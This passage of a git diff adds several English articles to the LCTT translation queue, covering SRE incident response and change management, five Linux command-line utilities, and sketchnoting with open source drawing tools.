"Robert Kimani https://opensource.com/users/robert-charles" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How SREs can achieve effective incident response +====== +Get back to business and continue services in a timely manner by implementing a thorough incident response strategy. + +![Person using a laptop][1] + +Incident response includes monitoring, detecting, and reacting to unplanned events such as security breaches or other service interruptions. The goal is to get back to business, satisfy service level agreements (SLAs), and provide services to employees and customers. Incident response is the planned reaction to a breach or interruption. One goal is to avoid unmanaged incidents. + +### Establish an on-call system + +One way of responding is to establish an on-call system. These are the steps to consider when you're setting up an on-call system: + +1. Design an [effective on-call system][2] +2. Understand managed vs. unmanaged incidents +3. Build and implement an effective postmortem process +4. Learn the tools and templates for postmortems + +### Understand managed and unmanaged incidents + +An *unmanaged incident* is an issue that an on-call engineer handles, often with whatever team member happens to be available to help. More often than not, unmanaged incidents become serious issues because they are not handled correctly. Issues include: + +* No clear roles. +* No incident command. +* Random team members involved (freelancing), the primary killer of the management process. +* Poor (or lack of) communication. +* No central body running troubleshooting. + +A *managed incident* is one handled with clearly defined procedures and roles. Even when an incident isn't anticipated, it's still met with a team that's prepared. A managed incident is ideal. It includes: + +* Clearly defined roles. +* Designated incident command that leads the effort. +* Only the ops-team defined by the incident command updates systems. +* A dedicated communications role exists until a communication person is identified. The Incident Command can fill in this role. +* A recognized command post such as a "war room." Some organizations have a defined "war room bridge number" where all the incidents are handled. + +Incident management takes place in a war room. The Incident Command is the role that leads the war room. This role is also responsible for organizing people around the operations team, planning, and communication. + +The Operations Team is the only team that can touch the production systems. Hint: Next time you join an incident management team, the first question to ask is, Who is running the Incident Command? + +### Deep dive into incident management roles + +Incident management roles clearly define who is responsible for what activities. These roles should be established ahead of time and well-understood by all participants. + +**Incident Command**: Runs the war room and assigns responsibilities to others. + +**Operations Team**: Only role allowed to make changes to the production system. + +**Communication Team**: Provides periodic updates to stakeholders such as the business partners or senior executives. + +**Planning Team**: Supports operations by handling long-term items such as providing bug fixes, postmortems, and anything that requires a planning perspective. + +As an SRE, you'll probably find yourself in the Operations Team role, but you may also have to fill other roles. + +### Build and implement an effective postmortem process + +Postmortem is a critical part of incident management that occurs once the incident is resolved. + +#### Why postmortem? + +* Fully understand/document the incident using postmortems. You can ask questions such as "What could have been done differently?" +* Conduct a deep dive "root cause" analysis, producing valuable insights. +* Learn from the incident. This is the primary benefit of doing postmortems. +* Identify opportunities for prevention as part of postmortem analysis, e.g., identify a monitoring enhancement to catch an issue sooner in the future. +* Plan and follow through with assigned activities as part of the postmortem. + +#### Blameless postmortem: a fundamental tenet of SRE + +No finger-pointing. People are quite honestly scared about postmortems because one person or team may be held responsible for the outage. Avoid finger-pointing at all costs; instead, focus solely on systems and processes and *not* on individuals. Isolating individuals/teams can create an unhealthy culture. For instance, the next time someone commits a mistake, they will not come forward and accept it. They may hide the activity due to the fear of being blamed. + +Though there is no room for finger-pointing, the postmortem must call out improvement opportunities. This approach helps avoid further similar incidents. + +#### When is a postmortem needed? + +Is a postmortem necessary for all incidents or only for certain situations? Here are some suggestions for when a postmortem is useful: + +* End-user experience impact beyond a threshold (SLO). If the SLO in place is impacted due to: + * Unavailable services + * Unacceptable performance + * Erratic functionality +* Data loss. +* Organization/group-specific requirements with different policies and protocols to follow. + +#### Six minimum items required in a postmortem + +The postmortem should include the following six components: + +1. Summary: Provide a succinct incident summary. +2. Impact (must include any financial impact): Executives will look for impact and financial information. +3. Root cause(s): Identify the root cause, if possible. +4. Resolution: What the team actually did to fix the issue. +5. Monitoring (issue detection): Specify how the incident was identified. Hopefully, this was a monitoring system rather than an end-user complaint. +6. Action items with due dates and owners: This is important. Do not simply conduct a postmortem and forget the incident. Establish action items, assign owners, and follow through on these. Some organizations may also include a detailed timeline of occurrences in the postmortem, which can be useful to walk through the sequence of events. + +Before the postmortem is published, a supervisor or senior team member(s) must review the document to avoid any errors or misrepresentation of facts. + +#### Find postmortem tools and templates + +If you haven't done postmortems before, you may be wondering how to get started. You've learned a lot about postmortems thus far, but how do you actually implement one? + +That's where tools and templates come into play. There are many tools available. Consider the following: + +1. Existing ITSM tools in your organization. Popular examples include ServiceNow, Remedy, Atlassian ITSM, etc. Existing tools likely provide postmortem tracking capabilities. +2. Open source tools are also available, the most popular being [Morgue][3], released by Etsy. Another popular choice is [PagerDuty][4]. +3. Develop your own. Remember, SREs are also software engineers! It doesn't have to be fancy, but it must have an easy-to-use interface and a way to store the data reliably. +4. Templates. These are documents that you can readily use to track your postmortems. There are many templates available, but the most popular ones are: + +* Google: [Postmortem Culture: Learning from Failure][5] and [Example Postmortem][6] +* Pagerduty: [The Postmortem][7] +* Atlassian: Root Cause Analysis – The 5 whys? +[Incident Postmortem Template][8] +[Incident Postmortems][9] +* [Splunk On-Call, formerly VictorOps][12] +* Other [GitHub Template resources][13] +* A custom in-house template: This may be the most effective option as it suits your organization's needs. + +### Wrap up + +Here are the key points for the above incident response discussion: + +* Effective on-call system is necessary to ensure service availability and health. +* Balance workload for on-call engineers. + * Allocate resources. + * Use multi-region support. + * Promote a safe and positive environment. +* Incident management must facilitate a clear separation of duties. + * Incident command, operations, planning, and communication. +* Blameless postmortems help prevent repeated incidents. + +Incident management is only one side of the equation. For an SRE organization to be effective, it must also have a change management system in place. After all, changes cause many incidents. + +The next article looks at ways to apply effective change management. + +#### Further reading + +* [Blameless Postmortems and a Just Culture][16] +* [Postmortem Checklist][17] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/effective-incident-response-site-reliability-engineers + +作者:[Robert Kimani][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/robert-charles +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/laptop_screen_desk_work_chat_text.png +[2]: https://opensource.com/article/22/6/introduction-site-reliability-engineering +[3]: https://github.com/etsy/morgue +[4]: https://github.com/PagerDuty/postmortem-docs +[5]: https://sre.google/sre-book/postmortem-culture/ +[6]: https://sre.google/sre-book/example-postmortem/ +[7]: https://postmortems.pagerduty.com/ +[8]: https://www.atlassian.com/incident-management/postmortem/templates +[9]: https://www.atlassian.com/incident-management/handbook/postmortems +[10]: https://www.atlassian.com/incident-management/postmortem/templates +[11]: https://www.atlassian.com/incident-management/handbook/postmortems +[12]: https://help.victorops.com/ +[13]: https://github.com/dastergon/postmortem-templates +[14]: https://www.atlassian.com/incident-management/postmortem/templates +[15]: https://www.atlassian.com/incident-management/handbook/postmortems +[16]: https://www.etsy.com/codeascraft/blameless-postmortems/ +[17]: https://docs.google.com/document/d/1iaEgF0ICSmKKLG3_BT5VnK80gfOenhhmxVnnUcNSQBE/edit diff --git a/sources/tech/20220622 A site reliability engineer-s guide to change management.md b/sources/tech/20220622 A site reliability engineer-s guide to change management.md new file mode 100644 index 0000000000..3a57157ebe --- /dev/null +++ b/sources/tech/20220622 A site reliability engineer-s guide to change management.md @@ -0,0 +1,255 @@ +[#]: subject: "A site reliability engineer's guide to change management" +[#]: via: "https://opensource.com/article/22/6/change-management-site-reliability-engineers" +[#]: author: "Robert Kimani https://opensource.com/users/robert-charles" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +A site reliability engineer's guide to change management +====== +The three core tenets of effective change management for SREs are progressive rollouts, monitoring, and safe and fast rollbacks. + +![change button with arrow clicking][1] + +Image by: Opensource.com + +In my [previous article][2], I wrote about incident management (IM), an important component of site reliability engineering. In this article, I focus on change management (CM). Why is there a need to manage change? Why not simply just have a free-for-all where anyone can make a change at any time? + +There are three tenets of effective CM. This gives you a forecast framework for your CM strategy: + +* Rolling out changes progressively: There's a difference between progressive rollouts in which you deploy changes in stages, and doing it all at once. You get to find out that even though progressive change may look good on paper,there are pitfalls to avoid. +* Detecting problems with changes: Monitoring is extremely critical for your CM to work. I discuss and look at examples of how to setup effective monitoring to ensure that you can detect problems and make changes as quickly as possible. +* Rollback procedures: How can you effectively rollback when things go wrong? + +### Why manage change? + +It's estimated that 75% of production outages are due to changes. Scheduled and approved changes that we all perform. This number is staggering and only requires you to get on top of CM to ensure that everything is in order before the change is attempted. The primary reason for these staggering numbers is that there are inherent problems with changes. + +Infrastructure and platforms are rapidly evolving. Not so long ago, infrastructure was not as complex, and it was easy to manage. For example an organization could have a few servers, where they ran an application server, web-servers, and database servers. But lately the infrastructure and platform are as complex as ever. + +It is impossible to analyze every interconnection and dependency after the fact caused by the numerous sub-systems involved. For instance an application owner may not even know a dependency of an external service until it actually breaks. Even if the application team is aware of the dependency, they may not know all of the intricacies and all the different ways the remote service will respond due to their change. + +You cannot possibly test for unknown scenarios. This goes back to the complexity of the current infrastructure and platforms. It will be cost prohibitive in terms of the time you spend to test each and every scenario before you actually apply a change. Whenever you make a change in your existing production environment, whether it's a configuration change or a code change, the truth is that, you are at high risk of creating an outage. So how do we handle this problem? Let's take a peek at the three tenets of an effective CM system. + +### 3 tenets of an effective change management system for SREs + +Automation is the foundational aspect of effective CM. Automation flows across the entire process of CM. This involves a few things: + +* Progressive rollouts: Instead of doing one big change, the progressive rollouts mechanism allows you to implement change in stages, thereby reducing the impact to the user-base if something goes wrong. This attribute is critical especially if your user-base is large, for instance – web-scale companies. +* Monitoring: You need to quickly and accurately detect any issue with changes. Your monitoring system should be able to reveal the current state of your application and service without any considerable lag in time. +* Safe rollback: The CM system should rollback quickly and safely when needed. Do not attempt any change in your environment without having a bulletproof rollback plan. + +#### Role of automation + +Many of you are aware of the concept of automation, however a lot of organizations lack automation. To increase the velocity of releases, which is an important part of running an Agile organization, manual operations must be eliminated. This can be accomplished by using Continuous Integration and Continuous Delivery but it is only effective when most of the operations are fully automated. This naturally eliminates human errors due to fatigue and carelessness. By virtue, auto-scaling which is an important function of cloud-based applications requires no manual intervention. This process needs to be completely automated. + +### Progressive rollouts for SREs: deploying changes progressively + +Changes to configuration files and binaries have serious consequences, in other words when you make a change to an existing production system, you are at serious risk of impacting the end-user experience. + +For this reason, when you deploy changes progressively instead of all at once you can reduce the impact when things go wrong. If we need to roll back, the effort is generally smaller when the changes are done in a progressive manner. The idea here is, that you would start your change with a smaller set of clients. If you find an issue with the change, you can rollback the change immediately because the size of the impact is small at that point. + +There is an exception to the progressive rollout, you can rollout the change globally all at once if it is an emergency fix and it is warranted to do so. + +#### Pitfalls to progressive rollouts + +Rollout and rollback can get complex because you are dealing with multiple stages of a release. Lack of required traffic can undermine the effectiveness of a release. Especially if in the initial stages you are targeting a smaller set of clients in your rollout. The danger is that, you may prematurely sign off on a release based on a smaller set of clients. It also releases a pipline where you run one script with multiple stages + +Releases can get much longer compared to one single (big) change. In a truly web-scale application that is scattered across the globe, a change can take several days to fully rollout, which can be a problem in some instances. + +Documentation is important. Especially when a stage takes a long time and it requires multiple teams to be involved to manage the change. Everything must be documented in detail in case a rollback or a roll forward is warranted. + +Due to these pitfalls, it is advised that you take a deeper look into your organization change rollout strategy. While progressive rollout is efficient and recommended, if your application is small enough and does not require frequent changes, a change all at once is the way to go. By doing it all at once, you have a clean way to rollback if there is a need to do so. + +#### High level overview of progressive rollout + +Once the code is committed and merged, we start a "Canary release," where canaries are the test subjects. Keep in mind that they are not a replacement for complete automated testing. The name "canary" comes from the early days of mining, when a canary bird was used to detect whether a mine contained poisonous gas before humans entering. + +After the test, a small set of clients are used to rollout our changes and see how things go. Once the "canaries" are signed off, go to the next stage, which is the "Early Adaptors release." This is a slightly bigger set of clients you use to do the rollout. Finally, if the "Early Adaptors" are signed off, move to the biggest pack of the bunch: "All users." + +![high level overview of a progressive rollout][3] + +Image by: (Robert Kimani, CC BY-SA 4.0) + +"Blast radius" refers to the size of the impact if something goes wrong. It is the smallest when we do the canary rollout and actually the biggest when we rollout to all users. + +#### Options for progressive rollouts + +A progressive rollout is either dependent on an application or an organization. For global applications, a geography-based method is an option. For instance you can choose to release to the Americas first, followed by Europe and regions of Asia. When your rollout is dependent on departments within an organization, you can use the classic progressive rollout model, used by many web-scale companies. For instance, you could start off with "Canaries", HR, Marketing, and then customers. + +It's common to choose internal departments as the first clients for progressive rollouts, and then gradually move on to the external users. + +You can also choose a size-based progressive rollout. Suppose you have one-thousand servers running your application. You could start off with 10% in the beginning, then pump up the rollout to 25%, 50%, 75%, and finally 100%. In this way, you can only affect a smaller set of servers as you advance through your progressive rollout. + +There are periods where an application must run 2 different versions simultaneously. This is something you cannot avoid in progressive rollout situations. + +#### Binary and configuration packages + +There are three major components of a system: binary: (software), data (for instance, a database), and configuration (the parameters that govern the behavior of an application). + +It's considered best practice to keep binary and configuration files separate from one another. You want to use version controlled configuration. Your configurations must be "hermetic." At any given time, when the configuration is derived by the application, it's the same regardless of when and where the configurations are derived. This is achieved by treating configuration as code. + +### Monitoring for SREs + +Monitoring is a foundation capability of an SRE organization. You need to know if something is wrong with your application that affects the end-user experience. In addition, your monitoring should help you identify the root cause. + +The primary functions of monitoring are: + +* Provides visibility into service health. +* Allows you to create alerts based on a custom threshold. +* Analyzes trends and plan capacity. +* Provides detailed insight into various subsystems that make up your application or service. +* Provides Code-level metrics to understand behavior. +* Makes use of visualization and reports. + +#### Data Sources for Monitoring + +You can monitor several aspects of your environment. These include: + +* Raw logs: Generally unstructured generated from your application or a server or network devices. +* Structured event logs: Easy to consume information. For example Windows Event Viewer logs. +* Metrics: A numeric measurement of a component. +* Distributed tracing: Trace events are generally either created automatically by frameworks, such as open telemetry, or manually using your own code. +* Event introspection: Helps to examine properties at runtime at a detailed level. + +When choosing a monitoring tool for your SRE organization, you must consider what's most important. + +#### Speed + +How fast can you retrieve and send data into the monitoring system? + +* How fresh the data should be? The fresher the data, the better. You don't want to be looking at data that's 2 hours old. You want the data to be as real-time as possible. +* Ingesting data and alerting of real-time data can be expensive. You may have to invest in a platform like Splunk or InfluxDB or ElasticSearch to fully implement this. +* Consider your service level objective (SLO) – to determine how fast the monitoring system should be. For instance, if your SLO is 2 hours, you do not have to invest in systems that process machine data in real-time. +* Querying vast amounts of data can be inefficient. You may have to invest in enterprise platforms if you need very fast retrieval of data. + +#### Resolution check + +What is the granularity of the monitoring data? + +* Do you really need to record data every second? The recommended way is to use aggregation wherever possible. +* Use sampling if it makes sense for your data. +* Metrics are suited for high-resolution monitoring instead of raw log files. + +#### Alerting + +What alert capabilities can the monitoring tool provide? + +Ensure the monitoring system can be integrated with other event processing tools or third party tools. For instance, can your monitoring system page someone in case of emergency? Can your monitoring system integrate with a ticketing system? + +You should also classify the alerts with different severity levels. You may want to choose a severity level of three for a slow application versus a severity level of one for an application that is not available. Make sure the alerts can be easily suppressed to avoid alert flooding. Email or page flooding can be very distracting to the On-Call experience. There must be an efficient way to suppress the alerts. + +#### User interface check + +How versatile is it? + +* Does your monitoring tool provide feature-rich visualization tools? +* Can it show time series data as well as custom charts effectively? +* Can it be easily shared? This is important because you may want to share what you found not only with other team members but you may have to share certain information with leadership. +* Can it be managed using code? You don't want to be a full-time monitoring administrator. You need to be able to manage your monitoring system through code. + +#### Metrics + +Metrics may not be efficient in identifying the root cause of a problem. It can tell what's going on in the system, but it can't tell you why it's happening. They are suitable for low-cardinality data, when you do not have millions of unique values in your data. + +* Numerical measurement of a property. +* A counter accompanied by attributes. +* Efficient to ingest. +* Efficient to query. +* It may not be efficient in identifying the root cause. Metrics can tell what's going on in the system but it won't be able to tell you why that's happening. +* Suitable for low-cardinality data – When you do not have millions of unique values in your data. + +#### Logs + +Raw text data is usually arbitrary text filled with debug data. Parsing is generally required to get at the data. Data retrieval and recall is slower than using metrics. Raw text data is useful to determine the root causes of many problems and there are no strict requirements in terms of the cardinaltiy of data. + +* Arbitrary text, usually filled with debug data. +* Generally parsing is required. +* Generally slower than metrics, both to ingest and to retrieve. +* Most of the times you will need raw logs to determine the root cause. +* No strict requirements in-terms of cardinality of data. + +You should use metrics because they can be assimilated, indexed and retrieved at a fast pace compared to logs. Analyzing with metrics and logs are fast, so you can give an alert fast. In contrast, logs are actually required for root cause analysis (RCA). + +#### 4 signals to monitor + +There's a lot you can monitor, and at some point you have to decide what's important. + +* Latency: What are the end-users experiencing when it comes to responsiveness from your application. +* Errors: This can be both Hard errors such as an HTTP:500 internal server error or Soft errors, which could refer to a functionality error. It could also mean a slow response time of a particular component within your application. +* Traffic: Refers to the total number of requests coming in. +* Saturation: Generally occurs in a component or a resource when it cannot handle the load anymore. + +#### Monitoring resources + +Data has to be derived from somewhere. Here are common resources used in building a monitoring system: + +* CPU: In some cases CPU utilization can indicate an underlying problem. +* Memory: Application and System memory. Application memory could be the Java heap size in a Java application. +* Disk I/O: Many applications are heavy I/O dependent, so it's important to monitor disk performance. +* Disk volume: Monitors the sizes of all your file-systems. +* Network bandwidth: It's critical to monitor the network bandwidth utilized by your application. This can provide insight into eliminating performance bottlenecks. + +#### 3 best practices for monitoring for SREs + +Above all else, remember the three best practices for an effective monitoring system in your SRE organization: + +1. Configuration as code: Makes it easy to deploy monitoring to new environments. +2. Unified dashboards: Converge to a unified pattern that enables reuse of the dashboards. +3. Consistency: Whatever monitoring tool you use, the components that you create within the monitoring tool should follow a consistent naming convention. + +### Rolling back changes + +To minimize user impact when change did not go as expected, you should buy time to fix bugs. With fine-grained rollback, you are able to rollback only a portion of your change that was impacted, thus minimizing overall user impact. + +If things don't go well during your "canary" release, you may want to roll back your changes. When combined with progressive rollouts, it's possible to completely eliminate user impact when you have a solid rollback mechanism in place. + +Rollback fast and rollback often. Your rollback process will become bulletproof over time! + +#### Mechanics of rollback + +Automation is key. You need to have scripts and processes in place before you attempt a rollback. One of the ways application developers rollback a change is to simply toggle flags as part of the configuration. A new feature in your application can be turned on and off based on simply switching a flag. + +The entire rollback could be a configuration file release. In general, a rollback of the entire release is more preferred than a partial rollback. Use a package management system with version numbers and labels that are clearly documented. + +A rollback is still a change, technically speaking. You have already made a change and you are reverting it back. Most cases entail a scenario that was not tested before so you have to be cautious when it comes to rollbacks. + +#### Roll forward + +With roll forward, instead of rolling back your changes, you release a quick fix "Hot Fix," an upgraded software that includes the fixes. Rolling forward may not always be possible. You might have to run the system in degraded status until an upgrade is available so the "roll forward is fully complete." In some cases, rolling forward may be safer than a rollback, especially when the change involves multiple sub-systems. + +### Change is good + +Automation is key. Your builds, tests, and releases should all be automated. + +Use "canaries" for catching issues early, but remember that "canaries" are not a replacement for automated testing. + +Monitoring should be designed to meet your service level objectives. Choose your monitoring tools carefully. You may have to deploy more than one monitoring system. + +Finally, there are three tenets of an effective CM system: + +1. Progressive rollout: Strive to do your changes in a progressive manner. +2. Monitoring: A foundational capability for your SRE teams. +3. Safe and fast rollbacks: Do this with processes and automation in place which increase confidence in your SRE organization functionality. + +In the next article, the third part of this series, I will cover some important technical topics when it comes to SRE best practices. These topics will include the Circuit Breaker Pattern, self healing systems, distributed consensus, effective load balancing, autoscaling, and effective health check. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/change-management-site-reliability-engineers + +作者:[Robert Kimani][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/robert-charles +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/Open%20Health.jpg +[2]: https://opensource.com/article/22/6/introduction-site-reliability-engineering +[3]: https://opensource.com/sites/default/files/2022-05/effetiverollout1.png +[4]: https://enterprisersproject.com/article/2021/3/7-top-site-reliability-engineer-sre-job-interview-questions diff --git a/sources/tech/20220623 5 Useful Linux Command Line Tools that Everyone Should Use.md b/sources/tech/20220623 5 Useful Linux Command Line Tools that Everyone Should Use.md new file mode 100644 index 0000000000..93b41aa58e --- /dev/null +++ b/sources/tech/20220623 5 Useful Linux Command Line Tools that Everyone Should Use.md @@ -0,0 +1,170 @@ +[#]: subject: "5 Useful Linux Command Line Tools that Everyone Should Use" +[#]: via: "https://www.debugpoint.com/2022/06/useful-linux-command/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +5 Useful Linux Command Line Tools that Everyone Should Use +====== +In this article, I will explain five useful Linux command(s) that will change your life forever. + +### 5 Useful Linux Command(s) + +#### 1. rmlint + +Have you ever wondered how you can easily find duplicate, empty folders and empty files? Well, for that, there is a nifty utility called **rmlint**. + +The [rmlint][1] scans your file system and tells you how much space is taken by duplicate files, folders, broken symlinks, empty files and more. + +Moreover, it gives you an autogenerated shell script to remove all those files with just a single command. In addition, it also outputs a nice-looking report for your to analyze. + +I think it’s a must-have terminal utility for your Ubuntu, Fedora and other Linux systems. Here are two images of rmlint in action. + +![rmlint output – Figure 1][2] + +![rmlint output – Figure 2][3] + +Let’s take a look at how you can install rmlint. Installation is easy as it’s available in the major distro’s repo. Here are the commands + +For Ubuntu, Linux Mint and similar distros: + +``` +sudo apt install rmlint +``` + +For Fedora, RHEL and similar distros: + +``` +sudo dnf install rmlint +``` + +After installation, run `rmlint` from the terminal. And it will give you a summary of the status of your system. + +``` +rmlint +``` + +Not only that, but you can also scan by file size, modification dates and so on—all the examples you can find in the [beginner’s guide][4]. + +#### 2. ntfy + +The second useful command in this list is ntfy. It is a nifty utility that helps you send notifications to your desktop. The ntfy works via system DBUS and libnotify in all the popular Linux desktops (KDE Plasma, GNOME) and provides a system-like notification. + +Now, you may ask – why do you need to send a custom notification? + +Well, think about a use case where you are writing some script to achieve some purpose (e.g. taking backups), and you need the script to send a notification after it finishes. In this example, you can run ntfy via shell script to notify that the backup is complete. + +The syntax of ntfy is simple. + +``` +ntfy send "Your task is complete" +``` + +![ntfy output][5] + +Installing ntfy requires Python3. In Ubuntu Linux, you can install it using the below set of commands. + +``` +sudo apt install python3-pippip install ntfy +``` + +By default, it installs the binary at ~/.local/bin, where you can get the executable to run. + +You can further customize it with its wide range of options available in the [documentation][6]. + +#### 3. btop + +There are some excellent terminal-based system monitors available. And I think btop is the best. Firstly, it’s available pre-compiled executable, so you do not need to install it. All you need to do is download and run. + +Secondly, one single interface gives you the entire system snapshot, containing the following features. + +* Battery level and available time +* Disks usage by partition and IO +* Process list with executables, path, threads, memory and lazy CPU +* Deep dive into a single process to investigate +* Network interface utilization details + +In addition, you can also configure it with various themes from its settings. I think it’s a perfect utility for terminal lovers to monitor your system. + +![btop][7] + +To get this application, visit the [GitHub page here][8] and download the zip file for Linux distros. You need to run the executable after extracting the zip file. + +#### 4. ncdu + +The fourth command in this list is super helpful ncdu (NCurses Disk Usage). The ncdu is a disk usage analyzer with an NCurses interface which scans your system and gives you an excellent representation of the disk space status in the terminal. + +Then, you can use this report and manually remove the files which are not needed. + +Furthermore, ncdu is a perfect tool to analyze your remote servers where you do not have access to a graphical user interface. It’s simple, fast and can run in any POSIX-like environment. + +In addition, you can also browse the directories via keyboard in the terminal, and you can sort by size, date, etc. + +That’s not all. Ncdu is available for almost all Linux distributions. Here are the commands to install in Ubuntu and Fedora-related distributions. + +``` +sudo apt install ncdu +``` + +``` +sudo dnf install ncdu +``` + +![ncdu][9] + +For more details, visit the [homepage][10]. + +#### 5. rclone + +The rclone is the best command-line program to sync and manage files from your local system to the cloud storage such as Google driver, AWS etc. It’s a feature-rich program which currently supports 40+ cloud storage products. + +Moreover, if you configure rclone effectively, you may not need rsync or login to the cloud provider’s web interface to manage your files. All of the operations can be easily done via the terminal. + +Not only that, but rclone is also capable of handling the integrity of data such as: + +* Verify checksum +* Preserve timestamps +* Options to transfer over limited bandwidth + +In addition, to make it safer, it provides a “–dry-run” switch to verify which files or folders get replaced during the sync operation to the cloud. + +You can install rclone using the commands below in your favourite distros. + +After you install, head over to [this page][11]. For each cloud storage provider, there is a one-time configuration needed. Choose your cloud provider and select the config link. Then follow the easy instructions to set up. + +For more details and documentation, visit the [official website][12]. + +### Closing Notes + +We discussed some useful command-line tools in this article. These tools are perfect for remote system administration from anywhere in the world. It ranges from disk usage analyzer, system monitors and backup of your data. + +Do you know any other useful Linux command line tools? Let me know in the comment box below, and we will feature it in the next article. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/06/useful-linux-command/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://rmlint.readthedocs.io/en/latest/index.html +[2]: https://www.debugpoint.com/wp-content/uploads/2022/06/rmlint-output-Figure-1.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/06/rmlint-output-Figure-2.jpg +[4]: https://rmlint.readthedocs.io/en/latest/tutorial.html#beginner-examples +[5]: https://www.debugpoint.com/wp-content/uploads/2022/06/ntfy-output.jpg +[6]: https://ntfy.readthedocs.io/en/v2.0.1/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/06/btop.jpg +[8]: https://github.com/aristocratos/btop/releases/ +[9]: https://www.debugpoint.com/wp-content/uploads/2022/06/ncdu.jpg +[10]: https://dev.yorhel.nl/ncdu +[11]: https://rclone.org/#providers +[12]: https://rclone.org/ diff --git a/sources/tech/20220624 How I sketchnote with open source tools.md b/sources/tech/20220624 How I sketchnote with open source tools.md new file mode 100644 index 0000000000..c4fc2be372 --- /dev/null +++ b/sources/tech/20220624 How I sketchnote with open source tools.md @@ -0,0 +1,113 @@ +[#]: subject: "How I sketchnote with open source tools" +[#]: via: "https://opensource.com/article/22/6/open-source-sketchnotes" +[#]: author: "Amrita Sakthivel https://opensource.com/users/amrita42" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How I sketchnote with open source tools +====== +Sketchnoting, or visual notetaking, is a method of taking notes using illustrations, symbols, graphic layouts, and text. Here's why I love sketchnotes and you should too. + +![Colorful pens][1] + +Image by: [Opensource.com][2] + +[Sketchnoting][3], also called visual notetaking, is a method of taking notes using illustrations, symbols, graphic layouts, and text. It's meant to be a creative and engaging way to record your thoughts. It can work well in your personal life as well as in your work life. You don't need to be an artist to create a sketchnote, but you do need to listen, and visually combine and summarize ideas through text and drawings. + +### Why sketchnotes? + +Here are some interesting facts about why visual aids are so helpful: + +* The picture superiority effect is when people remember and retain pictures and images more than just plain old words. +* Writing is complicated and takes a long time to get good at. +* Visual information can be processed 60,000 times faster than text. This is one reason that iconography is so prevalent and has been throughout history. +* Researchers state that people remember only 20% of what they read, whilst 37% are visual learners. + +### An example of how visual aids and regular text process in the mind + +A [SMART goal][4] is used to help guide goal setting. SMART is an acronym that stands for Specific, Measurable, Achievable, Realistic, and Timely. Therefore, a SMART goal incorporates all of these criteria to help focus your efforts and increase the chances of achieving your goal. + +![SMART goals on a sketchnote][5] + +Image by: + +(Amrita Sakthivel, CC BY-SA 40) + +Which form of information did you retain more easily? Was it the visual or the text version that held your attention more? What does this say about how you process information? + +### 4 open source sketchnote tools + +A sketchnote is just a drawing, so you don't need any special application to start making them yourself. However, if you're an avid digital creator, you might want to try these open source illustration applications: + +* [Mypaint][6]: Simple and elegant. It's you, your stylus, and a blank canvas. +* [Krita][7]: You, your stylus, a blank canvas, and an art supply store. +* [Inkscape][8]: Grab some clip art or create your own and let the layout begin. +* [Drawpile][9]: Make collaborative sketchnotes. + +### How I use sketchnotes + +I recently contributed to a presentation about customer support and Knowledge-centered support (KCS) analysis. I did two versions: + +![Image of knowledge centered support sketch][10] + +![Image of knowledge centered support 2][11] + +I created a sketchnote to demonstrate the differences between OpenShift and Kubernetes. + +![Image of differences between Openshift and Kubernetes][12] + +As a technical writer, my objective is to write documentation from a user perspective so that the user gets the optional usage of the product or feature. + +![Image of a sketchnote featuring technical writing][13] + +### How to best convey information through a visual medium + +1. Plan what you want to convey. +2. Decide the structure you want to use for for the sketchnote. +3. Start with the text first, then add icons and visuals. +4. Use color combinations to help show the content effectively. + +Sometimes, using plain text to convey easy concepts can be inelegant in comparison to a simple visual aid. Visual aids are an easier and faster way to display information to your audience. They can also be helpful when taking your own notes. Give it a try. + +### More resources + +* [Verbal to Visual: What is sketchnoting?][14] +* [Noun Project][15] +* [Creative Market: 50+ Awesome Resources to Create Visual Notes, Graphic Recordings & Sketchnotes][16] +* [Sketchnote Love: Mini Sketchnotes Tutorial][17] + +Image by: (Amrita Sakthivel, CC BY-SA 40) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/open-source-sketchnotes + +作者:[Amrita Sakthivel][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/amrita42 +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/2022-06/colorful-pens.jpg +[2]: https://opensource.com/node/69046 +[3]: https://sketchnote-love.com/en/sketchnotes-tutorial/ +[4]: https://corporatefinanceinstitute.com/resources/knowledge/other/smart-goal/ +[5]: https://opensource.com/sites/default/files/2022-06/smart.png +[6]: https://opensource.com/article/21/12/mypaint +[7]: https://opensource.com/article/21/12/krita-digital-paint +[8]: https://opensource.com/article/21/12/linux-draw-inkscape +[9]: https://opensource.com/article/20/3/drawpile +[10]: https://opensource.com/sites/default/files/2022-06/SketchnotesKCS.png +[11]: 